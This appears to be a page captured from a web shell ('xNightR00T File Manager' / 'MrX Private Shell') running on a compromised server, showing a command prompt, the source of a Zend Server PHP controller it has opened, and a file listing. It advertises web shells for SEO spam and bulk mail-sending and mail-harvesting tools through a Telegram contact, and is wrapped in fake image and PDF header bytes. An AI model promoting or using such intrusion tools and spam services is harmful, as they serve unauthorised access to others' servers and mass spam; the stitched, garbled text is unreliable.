xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Configuration\Controller;

use ZendServer\FS\FS;
use ZendServer\Mvc\Controller\WebAPIActionController,
    Application\Module,
    Servers\View\Helper\ServerStatus;

class WebAPI12Controller extends WebAPIActionController
{
    const DEPLOYMENT_VERSION  = '2.0'; // zs 5.x was 1.0, hence 6.x will be declared as 2.0..
    const STATUS_NOT_LICENSED = 'notLicensed';

    public function getSystemInfoAction()
    {
        $this->isMethodGet();
        $licenseInfo = $this->getZemUtilsWrapper()->getLicenseInfo();
        $status      = $this->determineSystemStatus($licenseInfo);

        return array('status' => $status,
            'edition' => $this->convertZSEdition(),
            'version' => Module::config('package', 'version'),
            'phpversion' => phpversion(),
            'os' => FS::getOSAsString(),
            'deploymentversion' => $this->getDeploymentMapper()->isDeploySupportedByWebserver() ? self::DEPLOYMENT_VERSION
                : '0',
            'serverLicenseInfo' => $licenseInfo,
            'numberOfNodes' => $this->getServersMapper()->countAllServers(),
        );
    }

    private function determineSystemStatus($licenseInfo)
    {
        $systemStatus = $this->getServersMapper()->getSystemStatus();
        if ($systemStatus === ServerStatus::STATUS_RESTART_REQUIRED) {
            return ServerStatus::getServerStatusAsString(ServerStatus::STATUS_RESTART_REQUIRED); // if pendingRestart, then license problems might be solved after a restart
        }

        if (!$licenseInfo->isLicenseOk()) { // we assume in cluster, that the state of the node's license reflects the cluster license (we don't deal with the situation where in a certain node, someone edited manually the license directives)
            return self::STATUS_NOT_LICENSED;
        }

        return ServerStatus::getServerStatusAsString(ServerStatus::STATUS_OK);
    }

    private function convertZSEdition()
    {
        return 'ZendServer'; // other options: ZendServerClusterManager / ZendServerCommunityEdition are not relevant
    }
}

Filemanager

Name Type Size Permission Actions
Plugin Folder 0755
ExtensionsController.php File 1.57 KB 0644
LicenseController.php File 5.6 KB 0644
ServerInfoController.php File 1.2 KB 0644
SessionClusteringController.php File 3.17 KB 0644
WebAPI114Controller.php File 7.9 KB 0644
WebAPI115Controller.php File 5.24 KB 0644
WebAPI12Controller.php File 2.02 KB 0644
WebAPIController.php File 110.19 KB 0644
ZendComponentsController.php File 1.43 KB 0644
ZendMonitorController.php File 323 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1